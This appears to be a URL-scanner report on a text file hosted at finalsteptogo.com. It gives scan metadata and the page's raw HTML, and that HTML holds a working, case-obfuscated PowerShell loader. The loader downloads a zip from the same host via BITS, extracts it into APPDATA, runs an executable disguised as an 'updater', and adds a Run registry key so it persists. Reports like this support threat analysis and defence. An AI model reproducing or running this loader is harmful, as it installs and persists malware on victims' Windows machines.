- Scan ID:
- 2c8dc70d-0b72-41c7-a342-98fe79bfd9e5Finished
- Submitted URL:
- https://finalsteptogo.com/uploads/il3.txt
- Report Finished:
Links · 0 found
The outgoing links identified from the page
JavaScript Variables · 3 found
Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope
Name | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
Console log messages · 1 found
Messages logged to the web console
Type | Category | Log |
---|---|---|
error | network |
|
HTML
The raw HTML body of the page
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">$x79XvRkE='https://finalsteptogo.com/uploads/il333.zip'; $dn6dq887=$env:APPDATA+'\XeX0EnP4'; $I00tlGfi=$env:APPDATA+'\jsEWVFpy.zip'; $Fc2Khd5l=$dn6dq887+'\updater_[1MB]_[unsign].exe'; if (-not (tEst-pAth $dn6dq887)) { NEw-ITeM -Path $dn6dq887 -ItemType Directory }; sTART-bitStRAnsFEr -Source $x79XvRkE -Destination $I00tlGfi; exPanD-aRcHIVE -Path $I00tlGfi -DestinationPath $dn6dq887 -Force; REMove-iTem $I00tlGfi; starT-PRoCesS $Fc2Khd5l; NeW-iTeMPRopERtY -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'BV1kDQLu' -Value $Fc2Khd5l -PropertyType 'String';</pre></body></html>